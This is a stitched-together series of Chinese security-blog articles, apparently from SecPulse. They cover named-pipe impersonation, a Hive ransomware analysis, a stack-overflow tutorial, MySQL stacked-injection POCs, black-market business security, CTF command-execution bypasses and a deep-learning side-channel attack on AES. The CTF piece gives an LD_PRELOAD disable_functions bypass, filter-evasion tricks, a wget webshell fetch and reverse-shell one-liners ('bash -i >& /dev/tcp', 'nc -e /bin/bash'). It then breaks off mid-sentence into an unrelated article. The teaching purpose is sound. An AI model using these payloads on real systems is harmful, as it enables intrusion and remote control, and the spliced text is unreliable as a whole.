为了防止滥用模仿机制,Windows不允许服务器在没有得到客户同意的情况下执行模仿。客户进程在连接到服务器的时候可以指定一个SQOS(security quality of service),以此限制服务器进程可以执行的模拟等级。通过C++代码访问命名管道一般采用CreateFile函数,可以通过指定SECURITYANONYMOUS、SECURITYIDENTIFICATION、SECURITYIMPERSONATION、SECURITYDELEGATION作为标记。默认调用CreateFile函数访问命名管道时采用的权限就是IMPERSONATION级别,只能用于模拟本地权限,无法应用域远程访问。其中权限最高的级别为DELEGATION,当客户端模拟级别设置为此级别时,服务端可以任意模拟客户端权限,包括本地和远程。

写在后面:
windows系统博大精深,还需慢慢学习。

IPC$管道的利用与远程控制
是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道)

点击链接,我们共同成长!

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164049.html

来势汹汹,不到一月余已有多家海外企业遭受新型勒索Hive毒手

事件背景
近日,深信服终端安全团队捕获到了HIVE勒索病毒的样本,和其他勒索病毒一样,该勒索病毒会将终端上的文件加密病毒留下勒索信,且HIVE勒索团伙会在加密文件前进行数据窃取,受害者除却业务宕机之外,也存在数据泄露的风险。

根据海外媒体报道,7月初加拿大商业地产软件解决方案公司 Altus Group正是遭受Hive勒索攻击导致数据泄露。且安全研究人员发现,不到一个月,该勒索团伙已公布了多家企业的数据信息。

图片1.png

/图源于网络:Hive网站上的数据条目/

样本分析
勒索方式
Hive勒索病毒采用AES+RSA加密算法,在执行后,受害者终端上大部分文件会被加密成*.hive的文件。

图片2.png

并且会在每一个目录下留下一个HOW TO DECRYPT的文本文档,受害者可根据文档中的账号密码登陆黑客提供的网站后用赎金换取解密密钥。

图片3.png

Go语言编译
通过对样本的分析,发现该勒索病毒是一个用Go语言编写开发的可执行文件,并且使用了UPX进行压缩,安全研究人员通过对文件解压以后进行了分析:

其main函数中通过调用go的flag包来设置一些默认的执行参数:

图片4.png

其中使用go的正则表达式regexp,来关闭sql、oracle、redis等数据库服务,遍历当前进程列表,关闭mspub以及msdesktop相关进程,同时会跳过一些无需加密的文件,如后缀为.lnk的快捷方式文件。

另外扫描磁盘以及加密文件的操作也都是利用go的协程来执行的,在函数返回前利用Wait函数同步协程执行完毕。

扫描计算机的存储设备:

图片5.png

可以看出病毒不仅会尝试读取计算机硬盘中的文件,移动存储设备中的文件也会被尝试读取并加密。并且在这个函数中会再次创建一个协程用来生成要加密的文件绝对路径:

图片6.png

加密过程:
病毒首先生成加密秘钥:

图片7.png

生成进程快照,遍历当前进程列表并结束相关的进程:

图片8.png

停止数据库相关服务,利用协程来完成:

图片9.png

为协程注册的匿名函数,停止服务:

图片10.png

加密过程中为协程注册匿名函数,生成*.hive的文件名:

图片11.png

对文件进行重命名以后调用加密函数对文件数据进行加密:

图片12.png

加密后重新写回文件:

图片13.png

找到自身路径并生成删除自身的bat命令,然后开始执行删除自身操作:

图片14.png

图片15.png

同时利用vssadmin命令来删除所有已安装卷影副本来防止磁盘中的数据被恢复:

图片16.png

通过分析,可以发现此病毒会生成用以勒索的文本和被害者登录网站的用户名和密码。在完成对被害者的文件加密之后,写入文本文档。

图片17.png

日常的加固和防御建议
深信服安全团队再次提醒广大用户,勒索病毒以防为主,目前大部分勒索病毒加密后的文件都无法解密,注意日常防范措施:

1、及时给电脑打补丁,修复漏洞。

2、对重要的数据文件定期进行非本地备份,尽量关闭不必要的文件共享权限。

3、不要点击来源不明的邮件附件,不从不明网站下载软件。

4、更改账户密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。

5、如果业务上无需使用RDP的,建议关闭RDP。

本文作者:Further_eye

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164163.html

栈溢出漏洞原理详解与利用

0x01 前言

和我一样,有一些计算机专业的同学可能一直都在不停地码代码,却很少关注程序是怎么执行的,也不会考虑到自己写的代码是否会存在栈溢出漏洞,借此机会我们一起走进栈溢出。

0x02 程序是怎么运行的

在了解栈溢出之前我们先了解一下程序执行过程

程序的执行过程可看作连续的函数调用。当一个函数执行完毕时,程序要回到call指令的下一条指令继续执行,函数调用过程通常使用堆栈实现

#include
#include
int main(int argc, char **argv) {
test1(1);
test2(2);
test3(3);
return 0;
}
int test1(int test1){
int a = 6;
printf(“1”);
return 1;
}
int test2(int test2){
printf(“2”);
return 2;
}
int test3(int test3){
printf(“3”);
return 3;
}
编译成32位可执行文件,放在ollydbg中就行调试,来详细看一下执行过程

因为程序的执行可以看做一个一个函数的执行(main函数也一样),因此我们挑选其中一个即可,在test1()函数设置断点

image.png

F7单步调试第一步mov dword ptr ss:[esp],0x1,进行传参,简洁明了。

第二步call mian.00401559,进入test(),这里我们关注一下esp和栈顶值,将该指令的下一条指令的地址进行压栈,既然有压栈那么就会有出栈,这就与函数中的retn指令形成呼应。

image.png

第三步push ebp,就是把ebp的值进行压栈,那么这个ebp是什么呢?有什么用呢?

EBP叫做扩展基址指针寄存器(extended base pointer) ,里面放一个指针,该指针指向系统栈最上面一个栈帧的底部,用于C运行库访问栈中的局部变量和参数。那么这一步的意义就是:保存旧栈帧中的帧基指针以便函数返回时恢复旧栈帧

image.png

第四步,mov ebp,esp,将esp的值放在ebp中,我们再来了解一下什么是esp?

ESP(Extended Stack Pointer)为扩展栈指针寄存器,是指针寄存器的一种,用于存放函数栈顶指针,指向栈的栈顶(下一个压入栈的活动记录的顶部),也就是它不停在变,刚才提到的ebp指向栈底,在函数内部执行过程中是不变。

那么我们再看一下这一步的作用:

从第三步可以知道esp存储的值是旧栈帧中的帧基指针,而esp值栈顶指针,随时都在变,因此为了函数结束后能恢复,把esp值(外层函数栈底地址)保存在本函数栈底ebp中。简而言之,将内部函数ebp的值作为地址,它存放外函数的ebp的值。这一步在末尾也存在逆向指令leave。

image.png

第五步是sub esp,0x28,开辟该函数的局部变量空间

紧接着第六步mov dword ptr ss:[ebp-0xC],0x6,给变量a一个大小是0xC的空间,并且赋值。

然后就是传参字符1的ascii码,调用printf函数,把返回值放到eax。

我们重点来看leave指令,可以发现ebp的值恢复了,esp的值也变了,相当于mov esp,ebp;pop ebp

image.png

最后执行retn指令,至此一个函数执行完毕,esp和eip的值都被改变,相当于pop eip,然后程序继续执行。EIP是指令寄存器,存放当前指令的下一条指令的地址。CPU该执行哪条指令就是通过EIP来指示的

image.png

0x03 栈溢出

分析完这一过程,相信大家对函数是怎么执行的应该明朗了,那么我们言归正传,继续聊一下栈溢出。首先我们先看一下什么是栈?

栈可以看作是一个漏斗,栈底地址大,栈顶地址小,然后在一个存储单元中,按照由小到大进行存储,它的目的是赋予程序一个方便的途径来访问特定函数的局部数据,并从函数调用者那边传递信息。

栈溢出属于缓冲区溢出,指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。

另外,我们也不难发现,发生栈溢出的基本前提是:程序必须向栈上写入数据、写入的数据大小没有被良好地控制。引用一个例子来了解一下栈溢出

#include
#include
void success() { puts(“You Hava already controlled it.”); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
很显然符合以上两个条件,gets()成为突破口我们在主函数处下断点,运行和调试

image.png

lea eax,dword ptr ss:[ebp-0x14] 这时开辟一个空间给变量,也即是s,如图所示

image.png

我们想执行sucess()函数,要怎么办呢?

执行完vulnerable()函数后,会还原ebp,改变esp的值(leave),然后retn,也就是pop eip,然后CPU根据eip指针指向的指令继续运行。

我们能抓到的点就是控制eip,怎么控制?通过控制栈顶的值,那么栈顶的值是什么?栈顶的值是进入该函数时储存的下一条指令的地址。这里提一点,进入函数,要保存两个值:下一条命令的地址、EBP旧栈帧的帧基指针,只有这样才能完全恢复。

此时我们可以构造payload,来控制我们要控制的地方,栈中存储EBP值的存储单元的上一个存储单元,也就是图中的存储address的存储单元

我们先试验一下输入0x14 *’A’+BBBB+0000,发生的变化

image.png

很好,按照我们的预想进行(python -c ‘print “A”* 0x18+p32(0x00401520)’) 就可以达到栈溢出的效果

image.png

0x04 尾记

还没有入门,只是个人的见解,如有错误,希望各位大佬指出。

高级栈溢出技术—ROP实战(学习ROP概念及其思路,了解高级栈溢出时需要注意的事项,并掌握解决方法)

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164113.html

浅析mysql存储过程

去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这个题目有一个很认真的分析,因此这里总结一下这个题目的出题用意和原本的预期做法:

image.png

堆叠注入
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。代码中和一般查询不同的是,使用了multi_query函数

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

源码分析

delimiter $$
mysql> set @p_in=1;
mysql> create procedure in_param(in p_in int)
-> begin
->   select p_in;
->   set p_in=2;
-> select p_in;
-> end$$
mysql> delimiter ;
mysql> call in_param(@p_in);
+——+
| p_in |
+——+
| 1 |
+——+
1 row in set (0.00 sec)

#因为这里先set了p_in=1,所以存储过程里select p_in的值为1

+——+
| p_in |
+——+
| 2 |
+——+
1 row in set (0.00 sec)

#然后set p_in=2,所以存储过程里第二个select p_in的值为2

Query OK, 0 rows affected (0.00 sec)

mysql> select @ p_in;
+——+
| p_in |
+——+
| NULL |
+——+
1 row in set (0.00 sec)
#存储过程执行完,他不会把这个值调用者,调用者在过程外是不能够使用这个变化后的值的
in参数就是只能输入,不能够输出,执行完过程,in参数是不会改变的。

out——传出参数(不索取,只给予)
mysql> delimiter //
mysql> create procedure out_param(out p_out int)
-> begin
-> select p_out;
-> set p_out=2;
-> select p_out;
-> end
-> //
mysql> delimiter ;
mysql> set @p_out=1;
Query OK, 0 rows affected (0.00 sec)

mysql> call out_param(@p_out);
+——-+
| p_out |
+——-+
| NULL |
+——-+
1 row in set (0.00 sec)

+——-+
| p_out |
+——-+
| 2 |
+——-+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
out这个参数刚好就是反过来,调用者无论怎么给参数赋初始值,”过程”里都是当作空值开始处理,然后将处理好的值返回给调用者。

分离预处理语句
好了说了这么多,我们还是要结合题目来看看,题目这里明显是要用预处理set 和 prepare来做,但是不能够同时输入。经过上面的讲解,我们可以想到,虽然set和prepare不能够同时输入,但是我只要把set给封装到一个”过程”中去,是不是就可以利用存储过程来代替set呢?

再理一遍大家很熟悉的set preare的注入poc怎么写:

114514′;set @string = hex;prepare stmt from @string;EXECUTE stmt;#
这个地方的string就是我们要执行的sql语句的16进制表示,stmt则是预处理语句的别名。

然后我们把他分为两个部分:

set @string = hex;

prepare stmt from @string;EXECUTE stmt;
首先我们需要创建一个将set包含进去的存储过程,然后分析输入和输出参数:

in参数是sql注入语句的16进制,因为需要绕过敏感字符过滤,并且我们需要输入这个hex给过程拿去利用;

out参数则是我们的set里的@string——预处理语句,在”过程”中赋值好以后,拿出来给我们的prepare使用。

因此我们的poc可以这么写:下面的uuid代表php代码生成的随机数。第一次输入存储过程的定义:

114514′;
create procedure `{$uuid}`(out string text(1024), in hex text(1024))
BEGIN
SET string = hex;
END;
;–
第二次用call调用这个存储过程(@decoded其实就是传参,传到上一个poc的string位置,为了和string区分开,就用了另一个名词):

114514′;
call `{$uuid}`(@decoded, 0x{$sql});
prepare payload from @decoded;
execute payload;
;–
之后就会正常的执行set+prepare的注入了。

总结
其实大家如果实在不清楚这个in和out,可以使用inout来代替,inout参数是既可以输入,又可以输出。

说白了存储过程就是sql语句里的函数,可以封装代码,所以比赛中如果遇到了不能一起使用的关键字,可以尝试着使用存储过程将其分割开。

点击链接做实验了~绕过UNION&SELECT过滤(针对于过滤,我们要善用编码,来绕过关键字过滤。本实验主要介绍绕过UNION&SELECT过滤的技巧。)

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164204.html

黑产以及一般业务安全的应对思路

业务安全顾名思义是与业务紧密联系的,企业常见的业务场景有账号安全、活动安全、账户安全、交易安全、内容安全等,每种场景可能遇到不同类型的威胁,如虚假注册、撞库、盗号等等。
图片 2293c8f047bf4abf809ac02abbe7e7ca.jpg

业务安全的目标是识别业务访问为正常或是异常,是机器人还是真人,是本人还是欺诈分子。比如有的岗位叫业务安全策略工程师,针对业务层面的恶意用户或恶意行为所采取的识别和打击策略,由于登录过程如何识别是正常登陆还是撞库小号呢?识别出撞库小号后业务形态要做出什么响应,是增加验证方式还是拒绝登录呢?
1.png

不同公司不同业务面临的业务安全场景

业务安全在安全家族中的角色
1、基础安全 :早期互联网时代面临的安全来自硬件基础设备安全,例如设备烧毁损坏等
2、信息安全:政策、黄赌毒
通过语义分析是否有敏感词、通过多媒体识别视频和图片中是否有不良信息、由于发布信息需要账号所以需要数据挖掘分析异常账号

3、客户端安全:关注病毒和木马对抗,技能:客户端开发、逆向破解
4、应用安全:以反黑、反入侵、关注服务端安全,技能:web安全、漏洞挖掘、黑客技术为主

黑产将注意力从服务器转移到了外部应用攻击上,最典型的就是入侵企业官网页面篡改,黑客制造木马入侵。

市场上更多强调的是边界安全,企业要保障不能有恶意代码攻击服务器,产品上一般就是采用防火墙这类产品的同质化问题比较明显,2010年之后由于移动互联网的爆发,互联网已经渗透到我们生活的方方面面,O2O的兴起很多实体服务和交易转移到了线上,官网已不再是单纯的内容展示,而是承载了更多业务上的逻辑和流程,业务安全随之产生。

5、业务安全:打击一切业务层面的恶意产业链,技能:数据分析。建模、挖掘、大数据应用。

业务安全直接影响企业的整个业务逻辑,但是每家公司的业务形态和问题差异会比较大,很多时候业务安全问题都不能直接采购一套通用的风控系统解决,比如同样是电商,淘宝京东拼多多的客户群体业务形态黑产群体以及黑产作案手段和获利方式有着较大差异,并且业务安全重点在于攻防对抗,有利益在黑产就会不断变化攻击方式获利,所以很多时候不是购买一套风控系统就可以解决问题而是要搭建一个自己的业务安全团队。

万恶之源——网络黑灰产业链

2018年12月17日,星巴克上线“星巴克APP注册新人礼”营销活动,遭受黑灰产羊毛党大规模攻击。他们利用大量手机号注册星巴克APP的虚假账号,并成功领取活动优惠券,导致星巴克的营销活动两天即停止。

2019年1月20日凌晨,黑灰产羊毛党又利用电商平台拼多多“无门槛100元券”存在的bug薅羊毛,导致拼多多巨额资金损失。

东鹏特饮一改传统的瓶盖抽奖采取扫二维码领红包,省去繁琐流转还可以线上收集顾客信息,瓶盖的二维码被回收转卖,最终活动兑奖金额远远高于预期,而收获的只是营销效果为0的“僵尸用户”。

我国黑灰产已经形成了年产值达千亿元级别的庞大利益集团,通过上中下游的严密分工形成了密切协作的网络,可以让企业轻者损失数千万重者直接破产。

1、技术类的黑产

为中下游技术性不强的黑灰产制作并提供各类软、硬件设备和服务,比如木马植入钓鱼网站及各类恶意软件

2、源头性黑灰产

掌握号源信息或身份信息的黑产,常见的有手机号、***、工商信息等信息,通过贩卖用户信息获利。

3、平台类黑产

用于非法交易、交流的平台类黑灰产。如恶意网站、恶意论坛和恶意群组,以及类似提供接码、打码的平台,如QQ群组、论坛网站等

4、实施各类违法犯罪的黑灰产

基于中下游链路,黑灰产在实施环节常常表现为恶意行为、诈骗等形式

黑灰产业链发展历程
“黑灰产”指的是电线诈骗、钓鱼网站、木马病毒、黑客勒索等利用网络开展违法犯罪活动的行为。“黑产”指的是直接触犯国家法律的网络犯罪,“灰产”则是游走在法律边缘。国家互联网应急中心于2015年就发起了重点打击的三类黑灰产专项行动,并对“黑产”范围进行了界定。

主要包括三类:
一是发动涉嫌拒绝服务式攻击的黑客团伙;

二是盗取个人信息和财产账号的盗号团伙;

三是针对金融、政府类网站的仿冒制作团伙。

早在2017年我国网络安全产业规模就已达到450多亿元。至今黑灰产业已达千亿元规模。通过技术等犯罪行为实施偷盗、诈骗、敲诈的案件数,在以每年30%的增速增长,且呈现越来越专业、国际化的状态。

早期特征

黑客攻击、地下产业、模式单一、组织零散

国际化
现在的黑产犯罪团伙往往跨境作案,并和国内多地维持隐蔽的联络,一次逃避警方打击。

智能化
黑产从业者的技术升级已实现了AI犯罪

公司化
黑产从业者会注册合法公司,披着科技外衣来获取灰色收入。

涉众化
以传销为代表,犯罪和受害者的定位产生了模糊。

平台化
黑产从业者越来越多成了上游提供者,降低了犯罪的各环节成本。

灰产病毒式扩张
保守估计,其从业人员至少已达上百万。

灰产与黑产相互依附、交织,已发展为跨平台跨行业的集团犯罪链条。黑产相关的核心工具和作案逻辑等由于网络安全法原因在这里不一一赘述,可点击“阅读原文”访问课程查看。
f4b9d63546e3434bbc23598542623319.jpg

图片 **的攻击量级以亿为单位

报告《Bot Traffic Report2016》,报告称2016年的机器人流量占全网流量的51.8%,超过人类流量,而其中恶意机器人流量占据了全网流量的28.9%,其中爬虫、撞库流量占比最高。业务安全面临巨大的考验。因此,面对越来越专业的团伙,越来越多的攻击场景,业务安全的发展也在于黑产的不断对抗中形成自己的防御体系。
图片

a4ec47f76ed04b7d9f95bbecfd7240f7.png

恶意爬虫流量目标行业分布

c9078b91657842a08616bd1313af01ff.jpg

业务安全防御体系

图片

拿到一个业务问题后一般通过需求分析(利益分析&风险分析)、特征分析(恶意类型和规模&用户行为环境分析)、风控建模(建模方法&建模经验)、对抗方法论(过程中的思路和技巧)这4步来分析,下周会挑选一些对抗实例与大家分享。

本文作者:牛油果 1472301220

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164158.html

CTF中的命令执行绕过

在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。

作为CTF最基础的操作,命令执行的学习主要是为了以后进一步使用webshell打下基础

同样的,今天还会介绍如何使用各种命令执行绕过的方式

首先我们先来看代码执行

动态调用:

这个地方是ctf曾经的一个考点,也是我在强网杯出过的一道题目,叫”高明的黑客”,里面使用的就是混淆代码+动态函数调用,这种写法实际上在红蓝攻防中很经常用到,就是一堆函数进行混淆,然后在里面插入一个动态函数进行真正的代码执行或者是命令执行。

当时那道题目的灵感是来自于一场安全响应,黑客攻陷网站后,在里头插入了混淆以后的代码,1000多个文件里面只有一条路径是正常执行的,最后是使用debug直接看栈内存的调用来判断哪个路径是真的动态调用。


常见的命令执行函数

常见命令执行函数
system()
passthru()
exec()
shell_exec()
`反引号
反引号

➜ ~ php -r “echo @whoami;”

这个是大家很容易忘记的一个命令执行点,ctf赛题最近也出了很多道关于这个的题目。我们在第二篇中会拿一个例子来详细分析他的作用。

命令执行绕过

以上是我们常见的代码注入或者是命令注入的函数,但是很多时候在ctf中,出题人不会那么轻易的就让我们执行命令。因此我们必须要能够掌握多种命令执行绕过的姿势。

一般来说,遇到的无非以下两种情况:

1.disable_function

2.过滤字符

disable_function

这个东西很明显就是什么呢,你能够代码执行了,但是发现不论是蚁剑还是你自己手打,都执行不了系统命令,然后你用phpinfo这种函数读取后发现如下配置:

image.png

实际上是开发者在后端的php.ini里写了如下语句

disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
最常用的就是两种办法

1.ld_preload

2.php_gc

ld_preload

今年来比较少考到,但是在红蓝攻防中很经常应用

需要对面满足条件是:对面没有禁用mail函数(可能这也是最近比赛不爱考这个的原因之一,如果禁用了mail,那等于就是考察别的点了,不禁用mail又一堆人用这个方法绕过,也很没有意思)操作方法:

hack.c

#include
#include
#include
void payload() {
system(“ls /var/www/html > /tmp/smity”);
}
int geteuid()
{
if (getenv(“LD_PRELOAD”) == NULL) { return 0; }
unsetenv(“LD_PRELOAD”);
payload();
}
将带有命令的c文件编译成为.so文件然后通过代码执行传入(这里可以直接用蚁剑)

gcc -c -fPIC hack.c -o hack
gcc –share hack -o hack.so
然后传入如下php文件


访问php文件就可以运行刚才的命令了。然后可以在/tmp/smity文件下看到ls的结果。

php_gc

从这两次公益赛来看这个都是考点(春秋和高校)两次的题目分别是:easy-thinking和php-uaf都是做到了代码执行却没有命令执行,所以通常步骤就是,利用蚁剑链接我们的shell代码执行,将下面的脚本写好命令传上去然后访问,利用phpgc进程Bypass 条件:php7.0 < 7.3 (Unix)

这里的大家可以参考这个博客,里面有比较详细的脚本,因为太长了就不贴在这里了

https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/
过滤字符

这个限制一般是题目中允许你使用system,但是很奇怪的是你却没有办法获取执行命令的结果

比如,对面过滤了空格,你能执行ls,但是没法cat读取文件

比如,对面过滤了flag这个词语,什么文件都可以读取,就是没办法读取flag

等等,都是ctf题目做到最后,这个出题人小心思故意在这里卡你一下。这个时候你就需要试试我接下来讲的这些方法:

空格代替

空格在bash下,可以用以下字符代替空格

<
${IFS}
$IFS$9
%09
[email protected]:~# cat1创建文件名为1的空文件

image.png

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

image.png

\ 在linux里也是个连接符,最早使用在屏幕不能容纳超过18个字符的第一代计算机,用于连接上下两行,这里使用它来绕过限制

语句为wget 域名.com -O shell.php

ls > a 写入服务器文件然后sh a 读取

这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序 将最后的命令改成ls -t>a

image.png

至于绕过5个字符执行命令,绕过4个字符,那其实都是用\做的trick,这里不一一赘述了。

命令执行结果返回长度受限制

这次在高校战役上有一道题目提醒了我这个,出题人其实能过滤的就那么多,那么还有一种方法卡住你就是不让你看到命令执行的完整结果,比如不回显或者是回显一行,这次题目需要用道soapclient做代码执行,但是它有一点不好就是没办法回显完整,只能看到一行结果,这样对我们的命令执行很不方便,而且dev文件没有权限使用,这个时候我们可以用下面这个反弹shell的办法。

其实反弹shell的命令大家很喜欢用这个:

bash -i >& /dev/tcp/ip/port 0>&1
但是这个有一点不好,他需要dev也需要bash,实际上用我下面这个命令会更简单:监听端口后

nc -e /bin/bash ip port
这样也可以拿到shell,其实本质是一样的,没有太大区别,只是简化了一下。

一道很经典的命令执行绕过

这个题目好像看到两次了,一开始大家都不会脑洞,后来发现这次还是好多人没有学会,也没有去总结poc:

深度学习赋能侧信道攻击

#前言

这是IoT的时代,这也是AI的时代。
在IoT时代,针对IoT设备上的密码芯片进行侧信道分析是极其活跃的领域,是研究IoT安全至关重要的一环。在AI时代,目前引领AI第三次复兴的技术便是深度学习。将侧信道与深度学习相结合会有什么效果,本文对此进行了尝试。

侧信道分析部分,思路是根据power trace(能耗轨迹),从运行在ARM CPU上的AES算法实现中恢复AES密钥。在深度学习则是赋能于侧信道分析,我们将power trace处理后的数据集作为深度学习系统的输入,训练神经网络,使其预测key字节,作为输出。

下文中我们会首先介绍AES、侧信道分析、深度学习等前置知识,然后以实战为导向实现对16字节密钥的恢复。

#AES

高级加密标准(英语:Advanced Encryption Standard,缩写:AES),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。经过五年的甄选流程,高级加密标准由美国国家标准与技术研究院(NIST)于2001年11月26日发布于FIPS PUB 197,并在2002年5月26日成为有效的标准。现在,高级加密标准已然成为对称密钥加密中最流行的算法之一。

AES的区块长度固定为128比特,密钥长度则可以是128,192或256比特;而Rijndael使用的密钥和区块长度均可以是128,192或256比特.(本文就是针对密钥长度为128比特(16字节)的AES实现进行攻击)。

大多数AES计算是在一个特别的有限域完成的。

AES加密过程是在一个4×4的字节矩阵上运作,这个矩阵又称为“体(state)”,其初值就是一个明文区块(矩阵中一个元素大小就是明文区块中的一个Byte)。(Rijndael加密法因支持更大的区块,其矩阵的“列数(Row number)”可视情况增加)加密时,各轮AES加密循环(除最后一轮外)均包含4个步骤:

AddRoundKey—矩阵中的每一个字节都与该次回合密钥(round key)做XOR运算;每个子密钥由密钥生成方案产生。

SubBytes—透过一个非线性的替换函数,用查找表的方式把每个字节替换成对应的字节。

ShiftRows—将矩阵中的每个横列进行循环式移位。

MixColumns—为了充分混合矩阵中各个直行的操作。这个步骤使用线性转换来混合每内联的四个字节。最后一个加密循环中省略MixColumns步骤,而以另一个AddRoundKey取代。

#侧信道攻击

侧信道攻击的过程可以简单概括为:攻击者使用示波器采集密码算法在目标设备上运行时的计时、功耗、电磁辐射、声音、热量、射频、故障输出等旁路泄露信息,接着分析这些信息和密码设备执行过程中的中间运算、中间状态的关系(这些中间运算、中间状态依赖于密码算法的密钥),进而根据分析结果恢复出密钥。攻击者采集的旁路泄露信息又被称作能量轨迹(power trace),在分析power trace和中间运算、中间状态的关系之前,需要对power trace进行预处理(见下文)。

另外,在下文会提到“攻击点”的概念,这里先做说明。

攻击的目标是恢复key字节的值,但是在实际中除非你捕获到了加载到内存中的key,否则而基本不会直接捕获到key。事实上,我们预测的是称为攻击点的值,这些攻击点也叫做敏感变量。攻击点是内存中的点,在这个点上,计算会导致内存出现变化(比如更改了一个寄存器的值,或者设置了值等),这些变化与我们尝试恢复的key有关系(比如异或)。更改内存值会导致功耗发生变化,这意味着这些更改可以从功耗轨迹中发现。

如下图所示

左图是AES中所有的攻击点(攻击点由黄/红点表示),然而在实际应用上,他们大多数是不可逆的,可逆的意思是说可以从猜测值推测出key字节的值。只有红点是直接可逆的,他们都位于第一轮,示意图如上图的右图所示。

可以看到组成包括key、sub_bytes_in,sub_bytes_out。

其中key是我们希望通过推理得到的,sub_bytes_in是当key和明文一起存储后的目标字节的值,sub_bytes_out是使用AES盒替换另一个值之后的字节值。

对于我们要攻击的算法来说,sub_bytes_in,sub_bytes_out都很容易受到攻击。

#深度学习

深度学习(英语:deep learning)是机器学习的分支,是一种以人工神经网络为架构,对资料进行表征学习的算法。

深度学习是机器学习中一种基于对数据进行表征学习的算法。观测值(例如一幅图像)可以使用多种方式来表示,如每个像素强度值的向量,或者更抽象地表示成一系列边、特定形状的区域等。而使用某些特定的表示方法更容易从实例中学习任务(例如,人脸识别或面部表情识别)。深度学习的好处是用非监督式或半监督式的特征学习和分层特征提取高效算法来替代手工获取特征

为什么使用深度学习来做SCA?
第一点最显然的原因,也是其他领域也会使用深度学习的原因,就是深度学习可以直接从原始功耗或trace中学习,而不是依赖人工设计的特征和假设,这使得攻击更易设计,减少了对特定领域专业知识的需求。
第二点是因为模型可以直接学习预测目标中间值,而不需要使用近似模型(相当于模板攻击而言),这也简化了攻击设计。
第三点是因为使用深度学习可以进行概率攻击(利用softmax),因为模型在多个power trace上输出的分数可以被直接排序得到可能性最大的字节值。

#构建数据集

首先我们需要构建数据集,之后才能在其上训练模型。这一步的关键就是收集power trace
怎么收集power trace呢?
流程如下所示

1.启动示波器开始捕获
2.触发硬件上的加密过程(选定的或者是随机的key和明文进行加密)
3.在加密结束时,停止捕获并从示波器收集power trace。我们构造数据集时会将trace及对应的标签(使用的key和明文)都加入进去
我们使用示波器来捕获,所需的硬件设备示意图如下所示

红板中间放的是待分析的芯片,下面是示波器的probe,两端分别连接到通信接口和芯片,示波器的捕获的什么样子呢?
在示波器每次捕获之后,可以得到一组与下图类似的power trace

上图显示了没有受到保护的AES实际实现时的power trace,这种情况下很容易就可以进行SCA,因为我们可以清楚地看到10轮AES(上图已经标注出来了)

然后需要将power trace转为深度学习可用的数据集,这里涉及到3个操作:
1.数据处理。我们将power trace缩放到[-1,1],如果不这么做,大多数模型是不会收敛的
2.计算攻击点。对于每条轨迹,我们预先计算期望的_sub_bytesin 和_sub_bytesout 值。然后执行矩阵转置,以确保数据的格式是[ byte _ id ][ example _ id],因为我们希望能在对密钥的单字节攻击时可以通过byte_id获取数值。然后还需要对每个字节值进行分类编码(categorical encoding),因为模型的输出是256个潜在值上的softmax。
3.将数据打包成分片(shard)。分片中包含给定key value的所有样本。这可以让我们调整每个key需要多少样本,并确保在训练和测试时使用不同的key。

数据集有了之后我们就可以开始训练了

#训练模型

训练的目的是为了使用先前收集的trace建立模型。传统的SCA都会使用模板攻击等方式学习这些模式。模板攻击是使用训练数据执行多元统计分析,创建一个被称为汉明加权模型(Hamming Weight Power Model)的近似泄露模型(leakage model)。模板攻击可以类比于CV领域中旧的视觉算法,依赖于人类精心设计的特征,而使用深度学习模型可以直接从原始数据中学习。

在训练模型之前,需要加载数据集

还要加载配置文件

配置文件内容如下

其中主要用于设置四项内容:
1.攻击目标。从device和algorithm看到,指定了要攻击的设备以及其上运行的算法。
2.攻击方式。从attack_points和attack_bytes可以看到.前文我们已经提到,AES 128的16字节密钥有3个攻击点,所以实际我们需要训练3*16=48个模型
